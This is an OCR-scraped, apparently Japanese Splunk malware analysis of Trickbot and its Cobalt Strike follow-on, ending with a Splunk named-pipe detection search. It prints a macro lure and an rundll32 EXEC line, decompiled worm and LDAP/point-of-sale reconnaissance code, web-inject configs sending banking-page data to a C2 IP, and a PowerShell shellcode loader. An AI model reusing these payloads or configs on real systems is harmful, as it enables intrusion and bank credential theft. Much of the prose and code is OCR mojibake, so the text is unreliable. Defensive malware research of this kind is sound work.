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For viewing/editing, perform the following steps:

« Click Enable editing button from the yellow bar above
* Once you have enabled editing, please click Enable Content bytton from the yellow bar above
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Unhide sheet:
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https://us-cert.cisa.gov/sites/default/files/publications/TrickBot_Fact_Sheet_508.pdf
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/3139/the-dire-implications-of-dyreza
https://en.wikipedia.org/wiki/Zeus_(malware)
https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf
https://us-cert.cisa.gov/ncas/alerts/aa21-076a
https://us-cert.cisa.gov/ncas/alerts/aa21-076a
https://us-cert.cisa.gov/sites/default/files/publications/TrickBot_Fact_Sheet_508.pdf
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/
https://malpedia.caad.fkie.fraunhofer.de/actor/unc1878
https://www.secureworks.com/research/threat-profiles/gold-blackburn
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1,1)=SUM(1,1)=SUM[1,1}=SUM(1,1)=SUM(1,1)= 1,1)=5UM(1,1)=SUM{ 1,1)=SUM{ 1, 1}=SUM (1,1) =SUNidedimblbdil LSttt de il Ll SUM LSS, 1| =SUM(1, 1] =SUM(1,1)=5 1)=5UM(1,1)=SUM(L,1}=SUM(1,1)=SUM(1,
SUM(1,1)=SUM(1,1)=5UM(1,1}=SUM(1,1)=SUM(1,1)=SUM( 1,1)=SUM( 1,1)=SUM( 1, 1)=SUM( 1, l:’SJMILJ]’SJ\‘HL.J"SJ\’IH‘Ji’EXEC rund"86G128G138G1IBG15E" |&F148", StartW")
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COXEDL T RRAFTERITINS . HiLWTO—F—DR{TIN. CoH—N—|CBFLET, UTOERIC
3. DITHROY > TILTORAD) I TR RHDIRINTWET,

GET /ufriends/support.php HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.2; WOW64; Trident/7.8; .NET4.eC; .NET4.BE; .NET CLR 2.8.56

27; .NET CLR 3.8.38729; .NET CLR 3.5.38729; InfoPath.2)
Host: indianoci.co.uk
Connection: Keep-Alive

BETrickbotA—H—H et O H 527 >V TRITINL BB, TrickbotldB5DI—R% “wermgrexe” 7Ot

AL, WBE2ERTLET, USRI DL, TrickbotDZEITHICprocmonHVAER LTcCSVE T DR =~y FTT,
wermgrexe 7 A XA, B LrundlI327 Ot (2 ZTIEAINICE > TER S L. Trickbotw )L 75 A—RLTWA Y
ISEBLTLIES W,

.8347595 PM""rundll32.exe™"7384""CreateFile""C:\Users\Administrator\Downloads\1.d11""SUCCESS"

.8347844 = QueryBasicInformationFile""C:\Users\Administrator\Downloads\1.d11""SUCCESS"
.8347945 = 3 i sers\Administrator\Downloads\1.d11""SUCCESS"

.8348905 = i Users\Administrator\Downloads\1.d11""SUCCESS

.8349135 .exe""7364""CreateFileMapping""C:\Users\Administrator\Downloads\1.d1l FILE LOCKED WITH ONLY READERS"
.8349650 .exe""7364""CreateFileMapping""C:\Users\Administrator\Downloads\1.d1l SUCCESS"
.8394555 .exe""7364""Load Image""C:\Users\Administrator\Downloads\1.d11""SUCCESS"

.8395207 .exe""7384""CloseFile""C:\Users\Administrator\Downloads\1.d11""SUCCESS"

.8396615 .exe""7384""Createfile Users\Administrator\Downloads\1.d11""SUCCESS"

.8396874 .exe""7304""QuerySecurityFile""C:\Users\Administrator\Downloads\1.d1l BUFFER OVERFLOW"
.8396971 PM""rundll32.exe""7304""QuerySecurityFile""C:\Users\Administrator\Downloads\1.d11""SUCCESS"

2:24:29.5492292 PM""rundll32. 304" "Process Create""C:\Windows\system32\wermgr.exe""SUCCESS"
:24:29.5497045 P rundll32.exe""7304""QuerySecurityFile \Windows\System32\wermgr.exe""SUCCESS"
:24:29.5501216 PM""rundll32.exe""7304""QueryBasicInformationFile""C:\Windows\System32\wermgr.exe""SUCCESS"

Trickbot DLLA—4—D'\X £ — ICEE I N 5 BE, %@Biglyzn—Féhtﬁz?ﬂ%%:—FT%:& CEoTL BT
Y DIPT KL R % Trickbot HYEERT 57O IERT 2Webt—bEXD—B% B2 e TIFETY,

CP Connect win-dc-299.attackrange.local:59349 -> 67.212.241.127:https ength: @, mss: 1460,
CP Connect win-dc-299.attackrange.local:59350 -> wtfismyip.com:http ength: @, mss: 1460, s
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Combo switch monitor application1735919311 LFRO -------- 00000600 |Hiew 8.32 (c)SE

?<?xml versiol .@" encoding="UTF-16"?>

Task version xmlns="htt schemas .microsoft.com/windows/2 /82/mit/task">
ReglstratlonInFo,

ersion>1.1.1</Version>

scription>
RI>\Combo switch monitor applicationl
gistrationInfo>
<Triggers>
<BootTrigger>
<Enabled>true</Enabled>
</BootTrigger>
</Triggel
<Principa
<Principal id="Author">
<RunLevel>High

<StopIfGoingOnBatteril
<AllowHardTerminate>tru
<StartihenA

unOnlyTI

startOnId

1/1d19;ett1ng*~
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true
<Hidden>false
<RunOnlyIfIdle>

akeToRun>fal

Command>
\Roaming\ComboSwitch1735919311\drgwxdl.sut",Starth

Trickbot R A—F

SplunkTld. TrickbotD WK DA DB D ET 2a— LD HITWE LT, HE'—?‘DLC’VFHLTC |ZwormDII64.dlII TY,
CDEYVa—IVEFERT B, Trickbotld T 7 IILLA—T A MERRZET LT RELICRXY T — I HLDAPIE
WEWNETE N TEFET,

IVEN S WindovvsG)Active Directory R A1 >Ry b D — U TERMAIBEIR T RN TDH —N—%2FE L £T, F
foo D=0 —TIRELIcT I VD HEDEO>DETFTvILET,

resume_handle = 8;
ve = NetServerEnum(0i64, ex65u, &bufptr, @XFFFFFFFF, &entriesread, &totalentries, ©x1000u, 0i64, &resume_handle);
if ( lve || (vi = @, ve == @xEA) )
{
vl = @;
if ( buf ) N
{
Func AllocateHeapForStr(L"\t\t""'1ACHIHE IN WORKGROUP*****\n" 0i64);
if ( entriesread )
for (1 =0; i < entriesread; ++i )
sub_680C9760((__int64)name, 260i64, "%ls", *(const wchar_t **)&bufptr[40 * i + 8]);
v3 = gethostbyname(name);
if (v3)
{

v4 = inet_ntoa(**(struct in_addr **)v3->h_addr_list);
ConnectSocket(v4);
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LU, Eternal Blued) T X704 FO— K T3, CVE-2017-0144|%. SMBDOREFF/N— 3> A >V X h—IL3NTc
TV TIZVE—FTCO—REETTIZEVOMHEMETT, ZNICED. IHRIZNEBESTIILL—T A MHEIEEIC
mNEd,

memset ( , 8, sizeof(v39));
memcpy ( , &unk_680CB480, unk_680CAQ1C);
if ( (a1, , 2112, 8) == -1 )
goto LABEL_112;
memset ( , 8, sizeof( ¥):
if ( recv(al, , 12288, @) <= @ )
goto LABEL_112;
for (i=1; i==1; ++i)

memset( , @, sizeof( R
= dword_688CAe0e4;
memcpy(v39, &SMB_Packet, dword_68eCAe04);

[ve + 1807] = -13;
[vO + 1006] = -67;
€ [v9 + 10e8];
) = ©x4141414141414141i64;

*((_QWORD *) + 385) = 0x41414141414141411i64;
memset(
(void *)((unsigned __int64)( + 8) & OxFFFFFFFFFFFFFFF8ui64),
ex41lu,
8i64 * (((unsigned int) - (((_DWORD) + 8) & OxFFFFFFF8) + 3888) >> 3));
if ( (a1, , 4156, @) == -1 )
{
= 83
= 0i64;
= 0i64;
goto LABEL_85;
LABEL_33:
}
[52] += 16;
= [dword_68eCAG@4];
*( R ) = ©x4141414141414141i64;

*((_QWORD *) + 511) = @x4141414141414141i64;
memset (

(void *)((unsigned __ int64)( + B8) & @xFFFFFFFFFFFFFFF8uic4),

@x41u,

8ie4 * (((unsigned int) - (((_DWORD)Vv15 + 8) & OxXFFFFFFF8) + 4896) >> 3));
if ( send(al, v39, 4156, @) == -1 )

RO —FRZA_y MMILDAPORREZ R L TWE T, LUTD2DDR =Ry MIlE, IRTORAAY IV FA—5—
2RI AHLDAPY T AR I—RAEENTWETY, LDAPIEE - T 1) ¥ ADsOpenObject AP, & X U DCOMA
TV FERLTWET, (&(objectCategory=Computer)(userAccountControl:1.2.840113556.1.4.803:=8192)),

= 8i64;
= 0i64;

0i64;

0i64;

*(_DWORD *) = 4390983;
IIDFromString(L"{109BABEC-92F@-11D8-A796-00CO4FDED5AB}", &iid);
~ing(L"{00020404-0000- 0000 - CO00-000000000846}", &v17);
~ing(L"{@e1677D@-FD16-11CE-ABC4-02608C9E7553}", & );

H

= 58;
Sleep(lu); b
if ( ADsOpenObject( , @i64, @ie4, 1lu, & . & )y <e)
{

= -2147467259;
if (! )
goto LABEL_26;

goto LABEL_14;
1

if (ves=0)

wescpy(szPathName, L"(&(objectCategory=computer)(userAccountControl:");
wescat(sz ame, L"1.2.840.113556.1.4.803:=8192))");

s[e] = 5;

8[2] = 7;

3[4] = 2;

2 = (*(__inte4 (__fastcall **)(__inte4, int *, _ int64))(*(_QWORD *)vi5 + 24i64))(v1i5, v8, 1i64);
result = 0i64;

if (v2o>=80)

{

if ( (*(int (__fastcall **)(__int64, WCHAR *, const char **, _ inte4, _ inte4 *))(*(_QWORD *)v15 + 32i64))(
15,

&va,

1ie4,

&v5) >= 0 )
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0144
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Systeminfo64.dll
CDTrickbotELa—JLid. 0S. FREvH RAM, Ry bD =002 —H— AVXb—ILENICVTRIzT7PT -
REWSTER I UNERENET HLICKFTSNTNET,
LRISRT DI COEVa—IDTIVIEREWET H7cOICERTHWQLIAT Y R T,

- SELECT * FROM Win32_0OperatingSystem

« SELECT * FROM Win32_Processor

- SELECT * FROM Win32_ComputerSystem
F7c. ServicesL YR U BH —EZXD—&E%  UninstallL VXLV E—=ILENTWABIRNTOT I r—3
YO—EEZEELGIIELET,

if ( (HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", @, 8x2@e19u, )
11 ( [e], eiea, oisa, @isa, & , & , @iea, eiea, oie4, 0i64, 0i64, 9i64) )
goto LABEL_37; L
3
=2 * + 2;
= (OH
= (WCHAR *) (v6, Bu, v5);
if (1 )
{
= 9;

goto LABEL_37;

N
J

= 20i64;
= Func_GetProcHeapThenAllocate(@ex28u, @i64);
= vo;
if (1 || (int)sub_18eeeilee(vo, exl4uied, ( ints4)L"<installed>\r\n") < @ )
{
= 0;

goto LABEL_33;

N
I

sharedDll64.dll

CDTrickbot BV a—JUIE Ry R T—IHBRTSTIILA— | stremyor “s\cs\isrecive.exe’);
TAVERFLT, BELIII VMDA O—REZYT | Dniea, 0 v
CH—RIBLIICERETSNTWET, U TFTORI) =23y R in e 15 o 1 e, L0 i)
MlE. COEVa—ILA Ry FI—SHERTEEOIE— s

R — s B goto LABEE.?B;’ o
L. RELICRY U= ETRGIRICEIMET 708 | stremur, Hhenaomusinsrecive. sxe;
12, ZhEY—ERC LTBHT A5 E8RLTVNET, YAERECA N ame, ¥ s
¢ if (¢ ilel(unk_180005680, , 8) )

! .,

break;
}
x(@x3E8u, 0);

\

J
bl { )
[

1
ABEL_13:
& 5¢ (a1, 0164, OxFOO3FU);
if ( )
{
= 10;
= e;
GenerateRandomstring((__intea) » @XAui6d);
= off_180005000[v12];
while ( >0 )
{
sub_180001098( s )i
= 0;
if (1 )
{
strepy(v7, “%SystemDrive%\\srecive.exe");
sub_18000109B( » V7);
= (
s

3

s
OXFO1FFu,
ex1eu,

3u,

1u,

eiea,
eisa,
oiea,
oiea,
6164);

}

if (1 )]

{

strcpy(v7, "%SystemRoot%\\system32\\srecive.exe");
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RO bR—/5—

Psinfé64.dll
ZDTrickbotEY 2 —)LId, EEDLDAPY L) %517
Y-, BB DEDIEREINE L TC2H—/N—

LT, BELIZTY > DActive Directoryh b7 o> b4, 1—

IOEDRLEY,

ZDEYA—ILINY T RTIE. LLTFDTrickbot LDAPZ TYA R DD > TWE T (%slIZEHTHH., TR TEEIN

E9)o

LDAPY Y

|

(&(objectCategory=Computer)
(userAccountControl:1.2.840:113556.1.4.803:=8192))

FTATHRAS YAV FA—5—DH T

- (&(objectCategory=Computer)(dNSHostName=%s))

DNSTRA MG %EF v o950

(&(objectCategory=group)(sAMAccountName=%s))

Active DirectoryND S X TR I —THTI o +D
oI

(&(objectCategory=person)(sAMAccountName=%s))

Active DirectoryWD ¢ X THILI—F—DI LY

(&(objectCategory=site)(name=%s))

Active Directory DT RN TDHA AT D
o1l)

(&(objectCategory=organizationalunit)(name=%s))

Active Directory N (D#RFEEET Do T 1)

(&(objectCategory=person)(mail=*))

Active Directory MDA —)LD o T

FUTFORI)—>oav b BEHhHBEDC. LDAPYTUAERA LT, BELI-<YIUAPOS,. CASH. STOREZL:

CICREL TV AL Fv I LET,

it ( W2 5= 8.:)
%
memset(v112, @, sizeof(v1i12));
snwprintf s(szpPatl

sub_18@8@15D@(al, L"DOMAIN %s\r\n", *(_QWORD *)(
sub::1880015D0(al; LM-cesssssssasanarun s s au
sub_18@0015D0(al, L"COMPUTERS:\r\n");

= LDApQueryDnsHostname( hname, (__inte4)L
sub_18eee1sDe(al, L"POS found: %d\r\n", vs6);

= LDApQueryDnsHostname( , (__intea)L
sub_18eee15D@(al, L"REG found: %d\r\n", )3

) = LDApQueryDnsHostname( I ,» (__inte4)L

sub_18eee15D@(al, L"CASH found: %d\r\n", v58);

= LDApQueryDnsHostname( I , (__intea)L
sub_1g8eee1sDe(al, L"LANE found: Zd\r\n", ) )

= LDApQueryDnsHostname( | » (__inte4d)L
sub_18@0015D0(al, L"STORE found: %d\r\n", v6e0);
/61 = LDApQueryDnsHostname(szf | » (__inted)L
sub_18eee15De(al, L"RETAIL found: %d\r\n", 1);
v62 = LDApQueryDnsHostname(szf I » (__intea)L
sub 18e@ee15De(al, L"BOH found: %d\r\n", v62);

= LDApQueryDnsHostname(s: | » (__inte4)L
sub_18@0015D0(al, L"ALOHA found: %d\r\n", v63);

= 54)L
1)

1)L
v65)

LDApQueryDnsHostname(szPathiame, (_ in
sub_18eee15De(al, L"MICROS found: Z%d\r\n", v
LDApQueryDnsHostname(szPathiame, (_ in
sub_18@0015D0(al, L"TERM found: Zd\r\n\r\n",
sub_1880015D0(al, L"USERS:\r\n");

65

me, ©x104ui6d, @x1e3ui6d, L"LDAP://%s™, *( QuWo

RD *)(v114 + 8));
114 + 8));
—————————————————————————————————— \r\n"});
"*POS*");
"*REG*");
"XCASH®");
"*LANE*");
"*STORE*");
"*RETAIL*");
"*BOH*"); [

"*ALOHA*");
"*MICROS*");

"*TERM*=");

]
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Networkdll64.dll

D TrickbotEY 2 —ILE[ERR. COED 2—ILB IR TLIBBMDENTOLDAPY T DMEED N T, LITD R0 —
VaybIRTEDIS. LDAPZ Y MARICIE, SEFIFREBERBLIIVRABROTEBRET AT e HFET LD
IEBNTWEEDEHDF LT

__inte _fastcall **)(_int6a *, int *, _ inted))(* + 24))(v21, » 4i6a);
if ( (int) <e)
return =
memset( , 8, sizeof( ) H
sub_180ee1588(al, L"\r\nList of do
= L"dNSHostName";

= (% te4 (__fast ) s I s t t ==, NG, N + 32))(

»
L"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192 »
&viz,
1ie4,
&vo);
if (v2 5= 0 )
[
L
while (1)
r

*( 2 ( ) s N +56))(v21, v9) == @;

ntéa ( b ) , , ))(vaé + 8@))(va1, vo, , )
>=0 )

=3

~uH 3~
o

D = #~

sub_180001588(a1, L"%s[y\n", *( ) + 8));

memset ( » 9, sizeof(v1z;: wchar t[5]

snwprintf_s( , UXIPaUIoa, BXI¥3ui6d, L"LDAP: , *( ) ( + 8));
LdapQueryForuser( )&unk_180004E38);

LdapQueryForuser( )&unk_180004ES8) ;
LdapQueryForuser( Administrator”);
LdapQueryForuser( g
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuser(
LdapQueryForuseremail( 5 s

sub_180001588(al, L"\r\n\r\n")

(*(void (_fastcall **)(_int64 *, char *))(*v21 + 88))(v21, vi6);

te4)"y");
t64)&unk_186005038);
t64)&unk_180005040) ;

s (

»

» (

»

» (

» (

» (

» (

» (

» ( t
» ( t
s (

» (

» (

» (

» (

> (L1

» (L3

» (2

Fro. YERR LIRS &/ 31 TN TEERI D Trickbot Ry D — B IV REERITL T BELICYI DRy D —
IIBRONELITWET,

17
18| memset( ,» 0, sizeof( DA
19 = (eis4, @);
20 if ( <0)
21 goto LABEL_18;
22| sub_180001588((_ int64) 'y ~\nContent-Disposition: form-data; name=\"proclist\"\r\n\r\n", L"Arasfjasu7");
23| sub_180001588((__int64) , L *PROCESS LIST***\r\n\r\n");
24 .dwsize = 568;
25 = (2u, @);
26 = v3;
270 if ( I= (HANDLE)-1i64 )
2§ {
2 if ( (v3, &pe) )

o

do
2 sub_180001588(( _inte4) » L"%s\r\n", pe,szExeFile);
while ( (va, &pe) );

| sub_180001588((_intea) L, L"\r\n\r\n"); Ny

: }
(va);
}
sub_180001588((__inte4) , L"--%s\r\n", L"Arasfjasu7");

)| sub_180001588((__int64) » L"Content-Disposition: form-data; name=\"sysinfo\"\r\n\r\n");
40| ParsesystemInfo((__inte4) H
41| Func_CreateNamePipe((LPSTR)"/c ipconfig /all", (__int64)
42| Func_CreateNamePipe((LPSTR) net config workstation", ( )
43| Func_CreateNamePipe((LPSTR) net view /all", (__int64)
44| Func_CreateNamePipe((LPSTR)"/c net view /all /domain", (_ i )3
45| Func_CreateNamePipe((LPSTR)"/c nltest /domain_trusts™, (__ )
46| Func_CreateNamePipe((LPSTR) nltest /domain_trusts /all_trusts", (_ int64) )i
47| if ( (int)sub_18eee@3ees(( intea) ) >=8 )
48 LdapQueryTolLookForAdminuser ( int64) )R
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Splunk > turn data into doin,

Web1 >z

HN AT ESIC Web1 > I 2T MIFHTLWKEFLATIIHD EF A LH LA TIHREIIRETT, Web1 > P x
ORI BEHZIZFCACDEF 2 TAWRCER Y —ILEF0) 2D WCEIEDTEFETH. ZDICHICITE
TEFAUTABREODTOACIDNEIIEDET, CNICIEIZIEFRAELHNETH. AILHLDHETWSIcATS
A 7> MCTrickbotZ PRI Web1 >V b7 ILDEEDN T T T 5. TAEIDHEIBINE T, COTOEXRIE
Web-1 > YU FDERET 71 ILIAEE INIEFEDWebH 1 MIWEED TS OYH T I EZRT 5 TRIBIN. 7 —
ZERIHLT 1T RUIBITOEL OENDEREEICXS T 2R DARETATHONE T,

BERDIE, WEEDLTIEZAL TV EWebR—JDANERIL, IRITOMDBEED Y a3 FoTcKEDHLENEL
SZETY, LOLBETIE. AN/ —RICE-T, WEEBIIZEIILRBEOBELTOICNTIET, 12K
ZIE. TTICHOFBADZEED T T LTWBICEDD D BT, I—H—IJIZOFDES O ES> TWWEWESICEEHD S
HWeb 1>z b I—FEHEEFEELET, LR E2DIE. YAN—tFa2) 71 DERHIDE LSO 7D, B
DHERERICH 7N T B LD REDSRIMERE 72 5 DH—RI T,

WEEDOIATVF
Webf><zo b rrEarka—-iv
</> —_ [N
TrickbotlZ
RBRGToEE Q
Q l 0010 \ ESOSREHE.
(%] 01010 | EES@BEVALv b,

0101 mEY—ERRY

]|I7.
HY—eTONIE—,
BSEEEG R

—dls

Injdll64.dll Web1 >z bRAA—F

COEVa—IUE. EBEOIRITY A FEIERN Y LTcWeb1 > Yz TR INET, Child. “\\pipe\pidplacesomepipe”
EVWSBRIMNE /A THERR L E T, COXFHIARD “pid’ 1d. EEOEZ—4 v FOTOCXIDTEIBRZIONET, 7
Ot XIDIFAXFETERINS ZEHE L “\\pipe\i844lacesomepipe” DL N F T, payload32d(CDH>TILT
DR 7O RRIMERINICANE. REBEDLLA > Yo a>FRaFo T 0y ayNICREINTEA
INBERAO—RTHH, EICHWTEEN LICbOADARBCLTEELE T,

if ( ConvertStringSecurityDescriptorToSecurityDescriptorA(StringSecurityDescriptor, 1lu, &SecurityDescriptor, @i64) )
{
= (char *)
}
else
{ ‘
4 = (void (__fastcall *)( __int64))sub_18@@eFEAG(v3, 2164, 3092482642i64, 231i64);
if {
4( 1i64)
6 = (void (__fastcall *)(char *, _ int64, _QWORD))sub_188@@FEA@(v5, 2164, 3436198970i64, 233i64);
if (v6 )

6(v21, 1i64, 0i64);

}
ecurityAttributes.nLength = 24;
*(_QWORD *)&Se ityAtt tes.bInheritHandle = 0i64;
SecurityAttributes.lpSecurityDescriptor =
strcpy(vi3, "esomepipe");
*(__ml28i *) a = _mm_load_sil28((const _ m128i *)&xmmword_180@378D@);// \.\pipe\pidplacesomepipe
strepy_s( =, @x1Auis4, ca);
= (__int64 (_ fastcall *)(void *))sub_180@@FEA@(vE, 1i64, 759216358164, 13@i64);
if (
9 = (__inte4 (__ all *)(void *))vo(Src);
memmove (Dst, Src, t)va);
18 = Creeteuaweﬂﬂlsen( =me, 3u, O, lu, ©x4000u, Ox4eeeu, 0, &Sec )
while ( byte_1800729AC && (unsigned _ int8)sub_18@01504C(v18) )

Sleep(@x3E8u);
return 0i64;
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Splunk > turn data into doin FIA bR—s¥—

UTFDORF v T3y hd TrickbotDEREDH > TILEESILLICHL DT,

|<dinj> E— 1289272538130 Web 4 |
<1lm>https://secure. .ca.com/mycommunications/statements/statement.go*</1m>
(<hl>https://107.181.187.149:446/response .php?s=1527612058812310s1d=nYHzZRUyJVFZDKTZT7nnm</hl>
h<p:i>100</p:i
| -
<sa>2</sa>

=

SRT0 Web R—J BN TELIHE~R—Y |

F<dini>
‘<lm> ttps: //www ;ica.com/Control.do*</1m>
<hl>https: 107,181.187,149 446/response .php?s=1527612058812310s1d=eV3jd0AHWCP4btAGTwbI</h1>
| <pri>100</pri>
| <sa>2</sq>

<ignore mask>*.Jjs*</ignore mask>
<ignore mask>*.ess*</ignore mask>

<ignore mask>https://akjeyu0l.com*</ignore mask>

<require_header>*text/html*</require header>

l</dini>
<dinj>
<lm>https://secure.. .ca.com/login/sign-in/internal/entry/signOnV2.go*</lm>

<hl>https://107.181.187.149:446/response.php?s=1527612058812310s1id=KxCOuLwFeve8taG50sDW</hl>
<pri>100</pri>

<s@>2</sq>

<ignore mask>*.Jjs*</ignore mask>

<ignore mask>https://akjeyu0l.com*</ignore mask>

</dinj>
<dinj>
<lm>https://www.! com/smallbusiness/</1m>

<hl>https://107.181.187.149:446/response .php?s=1527612058812310s1d=a4wS5UHhulepHkDalLTuN</hl>
<pri>100</pri>

<sq>2</sq>

<ignore mask>*.js*</ignore_ mask>

<ignore_mask>*.css*</ignore_mask>

<ignore mask>https://akjeyu0l.com*</ignore mask>
<require_header>*text/html*</require header>

</dinj>

<dinij>

<lm>https://secure. «ca.com/myaccounts/details/card*</1m>
<hl>https://107.181.187.149:446/response.php?s=152761205881231051d=N9079VIFdsR94NHdg9dTI</h1l>
<pri>100</pri>

<sq>2</sq>

<ignore mask>*.js*</ignore mask>

<ignore mask>*.css*</ignore mask>

<ignore mask>https://akjeyu0l.com*</ignore mask>

<require_header>*text/html*</require_ header>

</dinj>
<dinij>
<lm>https://www. _________ica.com/smallbusiness/online-banking.go</lm>

<hl>https://107.181.187.149:446/response.php?s=152761205881231041d=95wPBERCLGLSh72Baf2H</hl>
<pri>100</pri>

<sg>2</sq>

<ignore mask>*.js*</ignore mask>

<ignore mask>*.css*</ignore mask>

<ignore mask>https://akjeyu0l.com*</ignore mask>

<require_header>*text/html*</require header>

</dinj>
<dinj>
<lm>https://secure. ca.com/login/sign-in/incoming/sitekeyWidgetsScript.go*</1m>

<hl>https://107.181.187.149:446/response.php?s=1527612058812310&1 d=puDAMhJwiNY7mCOP5eGs</hl>
<pri>100</pri>
<s5q>2</sq>

FOO—RIA=ZRYLDBEDONEEIIC. Web1 >V o MMISRIERS. BBSEBERSIFT. BEY—cRT7ON14—
BREOOTA YA b EERIENE LTWET, BARICE- T EE. &8 7HIUVE Emameﬁmmo
TWABZELHNET, COLOBBAAICITIBE. FBECEREZToICDTAT U MREEZEE LICD T HICDITNER
BRTHIVFBEEOSRLEERCEABFRDZEINTWVELLTT,
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Splunk > turn data into doin

Cobalt StrikeZ 0 — F9 A Trickbot
Cobalt StrikelIEFTDOH 2 L v FF—LY —ILTITH. EFEICHICNNEZICLS>TERINTI L L7, Cobalt Strike
PERATAICT. WEEIIBREEHDDOLICD. STIILL—T AV RPC2ORIEZ1TI e HEEIC D £,

Cobalt Strikeld. BEBRDRIEENRILTESIcH. TIv o/ vy MRIETRERICIEEICATOH D 9, SplunkBE,
FHEF — LI, Cobalt StrikelZXFL G 27CO DEIEN R DA =) —ZHELELIC, LLTFTORI)—>2 39k
|3, PowerShellO> )LO—RAVRINTWET, COVTILOA—RHOAT)—ICO0—R3IN. ChEeERLTEEEIC
Cobalt Strike DL O BERAO—RALX D> AO—RFLTRITTHIEHNTIEY,

z-Naw-Object 10.Mar
Write-Output (New-Dbject I

Homfsaseustrwng( H|!1 \.’\,\\«\\V\..w]. aw wll\bwwu‘ LL.\«\.'\HLEM.IZ.\’HQBV.(E\US{L‘ FAEXpaC81Rewh,/a/TO1AD] 2dnm 1 pEamsyr 7L aX0Xug auba 2 ICEWF REyE INITURTDHE QU4 |
(New-Object I0. i ($ [ on1. Decompress))) . ReadToEnd();

Base6d FEEMALI. MIOLA¥—ORERIE |

Fronb ring(”
21 pStream($s, [T0.( ession. sndode] : : Decompress))

function fun,

0 0 urrentDomain. GetAs b e { Global/ mblyCache -And $_.Location.
GetType( 'Microsoft.wWin32.UnsafeNativeMethods
gpa = Svar_unsaFe_native_methods . GetMethod( ProcAddr e 2 tem. Runtime. InterapServices. HandleRef', 'string'))
N i g b 5 t c 1 -Object System,Runtime, InteropServices.HandleRef ({New-0bject IntPtr}, (Sva
t ) ce(Snull, )

ction Fune_get_delegate t

Param (
[Parameter (Position = 0, Mandatory = $True)] [Type[]] par amet ers
[Parameter (Position = 1)] [Type] Svar_return_type = |\¢uu]

ype_builder = [AppDomain] i:CurcentDossin. s semblyName (' ReflectedDele
n mi cModul el ' TnMemoryM : : pel M Ty Public, 5 i€ :
.|_|rfmn onstructor - y stem, ction.CallingConventio tandard, 3war_parameters).SetimplementationFlags('Runtim

DefineMethod("Invoke', 'Publie, MideBySig, MewSlet, Virtual®, Svar_return_type, Svar_parameter SetImplementationFlags( ntime, Managed’)

]
14var_ c-)-}c ol | ring( X!
a1J11~-NJITum=!anul‘ 6k '—u\'nNuIdPi’Hﬂ bk Ff»‘lrIvb‘uFum FuUF‘\-ul GLELY
K 12 P: 3 l"dvq[lf‘bil Hlrquli ll-h

$x -1t $var_code.Count; $x++
[$x] = Svar_code[§x] -bxor

em. Runt ime. Int erops 1::6 (func_get_proc_address kernel v Alloc), (func_get_delegate_type &([IntPtr],
] [ULntj’]) ([x

L Zero, Svar_code.Length, O

me. Interopseryices.Marshal]: :Copy($var_code, 0, Svar_| de. length)

_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(Svar_buffer, (func_get delegate type 8([IntPtr]) ([Void1)))
$var_runme. Invoke([IntPtr]::Zero)

MTFORI) =23y kE, PowerShelllC k> TAE) —ICA—RINIco)LO—RTHD, BELIcTI 2D
ORAAO—RZ&XT>O0—-FLET,

5 TGRS0 EATT ZIATEUEESCH ~ Wide FPU
mov
: REX "Mozi11a/5.0 (compatible; MSIE 9.0; windd
RSI  0000023A
RDI  0090003000000030
a/5.0 tible; MSIE 5.0 Jows NT 6.0j Trid
RS 0000000000000000
RS 0000000000000000
R10  0000000000000004
s ompat Windows NT £.0; Trident/S.0; EOTES;ENUS R11  OODDOOSALEAFF520
R12 7 3.106.223. 84, /g. pixel”
R13 bmi . php”
R1s  0000000000000001
RIS  0O00023A3SEAIZEQ 9. pixel
| 000002343605 £000 |
are
RFLAGS  0000000000000202
ZF O PF O AF O
OF O SF O DF O
cFo TFo IF1
J ! Lastérror 030)55’13 ERROR_SUCCESS)
LastStatus CO000034 (STATUS_OBIECT..
1 = FS 0053
D > ! DS 0028
55 0028
A 3 £8 81440000
- sacr ) 00000000000000000000 X87r0 EM; 0. 000000000000000000
T 00000000000000000000 X87F1 ERpTY 0.000000000000000000
by n— 00000000000000000 X872 Emy 000000000000000000
8057 OA areal
L 44: 88CB
# 0 Defoult (x64 fastcal) -
osEric FFis 06E40100 a1 quord per ds: [<aTnternetsetoptionss] fedlad M
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https://docs.splunk.com/Documentation/ESSOC/3.23.0/stories/UseCase#Cobalt_strike

Splunk > turn data into doin 4 kR—/5—

LR Cobalt StrikeDIRHIE. MEE578 <> > TEBDZFMT S /A THZ I E T OCRICEI o TERECIZTT 7 EX
INTULVA(Cobalt Strike M A INTWB)ZEAERAISNICRICKRIESNE LTIc, TNOLOAFIMNI/N(TE. —i
ICBeaconMEZEXC2¢ MIBEERFIC. Cobalt StrikelC &> THEBINE T, COZEENL. SplunkD LT DELEFE DR HHE
BEICE o THIESNE LTS,

‘sysmon’ EventID=17 EventID=18 PipeName IN (\\msagent_%, \\wkssvc*, \\DserNamePipex,
\\srvsvc_*, \\mojo.*, \\postex_*, \\status_x, \\MSSE-*, \\spoolss_*, \\win_svcx,

\\ntsves*, \\winsock*) | stats count min(_time) firstTime max(_time) lastTime
y Computer, process_name, process_id process_path, PipeName | rename Computer a
dest | “security_content_ctime(firstTime)" | 'security_content_ctime(lastTime)

+ 30 events (29/04/202116:00:00.000 to 30/04/202116:24:50.000)  No Event Sampling *

Events (30) Patterns Statistics (29) Visualization

50 Per Page v # Format Preview v

dest = #  process_name % s process_id ¢ #  process_path & #  PipeName *
win-de-299. attackrange.local gpupdate.exe 7392 C:\Windows\system32\gpupdate.exe \DserNamePipe47
win-de-299. attackrange.local svchost .exe 1536 C:\Windows\system32\svchost.exe \DserNamePipe47
